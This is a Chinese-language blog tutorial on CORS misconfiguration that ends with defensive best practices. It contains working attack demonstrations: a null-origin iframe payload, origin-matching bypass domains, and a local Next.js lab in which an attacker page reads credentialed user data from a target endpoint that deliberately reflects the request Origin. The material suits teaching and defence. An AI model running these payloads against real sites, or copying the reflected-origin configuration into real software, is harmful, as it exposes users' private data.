简单聊聊 CORS 攻击与防御

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本文作者:霁明

什么是CORS

CORS(跨域资源共享)是一种基于HTTP头的机制,可以放宽浏览器的同源策略,实现不同域名网站之间的通信。

前置知识

同源定义:协议、域名、端口号一致即为同源。

CORS主要相关标头:

Access-Control-Allow-Origin:指定该响应的资源是否允许与给定的来源(origin)共享。

Access-Control-Allow-Credentials:用于在请求要求包含 credentials 时,告知浏览器是否可以将对请求的响应暴露给前端 JavaScript 代码。

CORS使用

常规使用方式

将ACAO标头指定为特定的源,Access-Control-Allow-Origin: http://a.b.com

如果请求需要携带凭证(例如cookies、authorization headers 或 TLS client certificates),需要将ACAC标头设置为true,Access-Control-Allow-Credentials: true。

另外,前端请求方法需要配置 credentials

// XHR
const xhr = new XMLHttpRequest();
xhr.open("GET", "http://example.com/");
xhr.withCredentials = true;
xhr.send();

// Fetch
fetch(url, {
  credentials: "include",
});

常见的错误用法

同时配置多个源

将多个源同时写在ACAO标头里:

Access-Control-Allow-Origin: http://a.b.com,http://c.b.com

或者同时设置了多个ACAO标头:

Access-Control-Allow-Origin: http://a.b.com
Access-Control-Allow-Origin: http://c.b.com

此时跨域请求会报错,提示只能配置一个源:

在ACAO标头里使用通配符

Access-Control-Allow-Origin: *.b.com

此时跨域请求会报错,提示配置的源无效:

ACAO配置为“*”,但请求携带了凭证

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

跨域请求时会报错,提示当携带凭证时ACAO标头不能为“*”:

用法小结

  • ACAO 标头的值只能为这3种情况之一:*、指定的源(只能指定1个)、null。
  • ACAC 标头设置为 true 时(携带凭证时),ACAO 标头必须设置为一个指定的源。

CORS标头在哪里设置

代理服务器

在 Nginx 配置中,一般会在http、server 或 location 模块中设置响应标头,代码示例:

add_header Access-Control-Allow-Origin http://target.dtstack.cn;
add_header Access-Control-Allow-Credentials true;
// 其他 Access-Control 标头

后端

可以在后端代码中设置,部分后端框架也会设置默认值,以下是部分软件框架默认值设置情况:

CORS漏洞

在跨域资源共享过程中,由于 CORS 配置不当,导致本应该受限的访问请求,可以绕过访问控制策略读取资源服务器的数据,造成用户隐私泄露,信息窃取甚至账户劫持的危害。

CORS 的几种配置情况:

序号 Access-Control-Allow-Origin Access-Control-Allow-Credentials 结果
1 * true 存在漏洞
2 任意的源 true 存在漏洞
3 指定具体的源> true 不存在漏洞
4 null true 存在漏洞
5 * 不设置 存在漏洞
6 任意的源 不设置 存在漏洞
7 指定具体的源 不设置 不存在漏洞
8 null 不设置 存在漏洞

对于情况1,Access-Control-Allow-Origin: *,Access-Control-Allow-Credentials: true:

  • 如果请求携带了凭证,浏览器会报错,要求ACAO标头不能为*,这种情况下是没有漏洞的,因为请求直接失败了。
  • 如果请求不携带凭证(请求方法未设置 credentials),则相当于情况5,请求能正常响应,如果服务端不要求校验凭证,则数据会被返回。

对于其他存在漏洞情况,都可以通过某些手段,获取到请求返回的数据,这里就不细说。

攻击方式(绕过)

可以攻击的前提:目标网站存在CORS漏洞

使用 null 源

任何使用非分级协议(如 data: 或 file:)的资源和沙盒文件的 Origin 的序列化都被定义为 “null”,这里利用 iframe 标签,使用 data url 格式将 src 的值直接加载为 html,请求代码就写在<script>标签中:

<iframe
  sandbox="allow-scripts allow-top-navigation allow-forms"
  src='data:text/html,<script>fetch("http://target.dtstack.cn:4000/api/getUserInfo", { method: "POST", credentials: "include" })</script>'
  ></iframe>

在 attack.dtstack.cn 页面加载这段代码后就会发出请求:

Host: target.dtstack.cn:4000
Origin: null
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: null

由于 Origin 和 ACAO 标头匹配,所以接口能正常响应获取到数据。

使用符合匹配规则的域名

例如目标域名是 target.top,当 origin 匹配规则为包含 target.top 字符串时,攻击网站可以通过以下几种方式去绕过 origin 校验,使得请求响应的 ACAO 标头为攻击站点,从而成功进行跨域请求。

  • 目标域名作为子域名:target.top.attack.com
  • 攻击域名包含子域名字符串:attacktarget.top
  • 控制目标域名的子域名:attack.target.top

当目标网站是直接使用请求头的 Origin 作为响应的 ACAO 标头时,相当于允许任意站点进行跨域请求。

有时目标网站会信任某些第三方网站,例如一些云服务网站,这时如果攻击者使用同一云服务商的产品(源相同),也可以对目标站点发起跨域请求。

攻击 Demo 演示

在本地使用 Next.js 搭建两个站点,一个是 target.dtstack.cn:4000,一个是 attack.dtstack.cn:3000。

target 站点实现

target 站点有一个查询用户信息接口,并且 CORS 配置存在漏洞,target 站点首页可以通过接口获取用户信息。

页面代码图如下:

'use client';
import { useState } from 'react';

const url = '/api/getUserInfo';

export default function Home() {
  const [data, setData] = useState('');

  const getData = () => {
    setData('请求数据...');
    fetch(url, { method: 'POST' })
      .then((res) => res.json())
      .then((data: Record<string, any>) => {
        setData(JSON.stringify(data, null, 2));
      })
      .catch(() => {
        setData('请求数据失败');
      });
  };

  return (
    <div>
      <h3>This is target site</h3>
      <button onClick={getData} style={{ margin: "0 0 12px" }}>
        获取数据
      </button>
      <div>
        <textarea
          readOnly
          value={data}
          style={{ width: 500, height: 500 }}
          />
      </div>
    </div>
  );
}

查询用户信息接口直接将请求的 Origin 设置为 ACAO 标头,且 ACAC 标头设置为 true,代码如下:

export default async function handler(
  req: NextApiRequest,
  res: NextApiResponse
) {
  const cors = Cors({
    origin: req.headers.origin,
    credentials: true,
    methods: ['POST', 'GET', 'HEAD'],
  });

  await runMiddleware(req, res, cors);

  res.setHeader('Set-Cookie', 'user_name=admin; Domain=.target.dtstack.cn; Expires=Fri, 26 Apr 2024 07:13:04 GMT; Path=/;');
  res.json({ username: 'admin' });
}

attack 站点实现

attack 站点可以在页面上,发起对 target 站点查询用户信息接口的请求

页面实现代码如下:

'use client';
import { useState } from 'react';

const targetUrl = 'http://target.dtstack.cn:4000/api/getUserInfo';

export default function Home() {
  const [data, setData] = useState('');

  const getData = (url: string) => {
    setData('请求数据...');
    fetch(url, {
      method: 'POST',
      credentials: 'include',
    })
      .then((res) => res.json())
      .then((data: Record<string, any>) => {
        setData(JSON.stringify(data, null, 2));
      })
      .catch(() => {
        setData('请求数据失败');
      });
  };

  return (
    <div>
      <h3>This is attack site</h3>
      <button
        onClick={() => getData(targetUrl)}
        style={{ margin: '0 12px 12px 0' }}
        >
        获取target数据
      </button>
      <div>
        <textarea
          readOnly
          value={data}
          style={{ width: 500, height: 500 }}
          />
      </div>
      <iframe
        sandbox="allow-scripts allow-top-navigation allow-forms"
        src='data:text/html,<script>fetch("http://target.dtstack.cn:4000/api/getUserInfo", { method: "POST", credentials: "include" })</script>'
        ></iframe>
    </div>
  );
}

攻击过程

获取 target 站点数据

打开 attack 页面,请求 target 站点的http://target.dtstack.cn:4000/api/getUserInfo接口

请求头:

Host: target.dtstack.cn:4000
Origin: http://attack.dtstack.cn:3000

响应头:

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://attack.dtstack.cn:3000

此时成功获取到了target站点的用户数据:

如果想要在非同站情况下发送cookie,SameSite属性需要为None,且必须同时设置Secure属性,而Secure属性在使用Https协议时才可以使用。使用目前最新版的Chrome (v124)、Edge (v124)、Firefox (v125)进行测试,Firefox和Chrome不会发送目标站点cookie,而Edge会发送。

防御方式(最佳实践)

  • 非必要的话,不要开启 CORS。
  • 定义白名单,对允许的源严格校验,ACAO 标头不要设置为*,origin 也尽量不要使用正则进行校验,避免匹配错误。
  • 使用 https,防止中间人攻击。
  • 配置 Vary 标头包含 Origin,例如 Vary: Origin,请求的 Origin 变化时更新数据,避免攻击者利用缓存。
  • 非必要时不启用 ACAC 标头,防止本地凭证被攻击者利用。
  • 限制允许的请求方法,通过 Access-Control-Allow-Methods 标头设置允许请求的方法,降低风险。
  • 限制缓存时间,通过 Access-Control-Max-Age 标头设置预检请求返回结果的缓存时间,确保浏览器短时间内可以更新缓存。
  • 仅配置需要的响应标头,当接收到跨域请求时才配置相关标头,减少攻击者的恶意利用。

参考链接

最后

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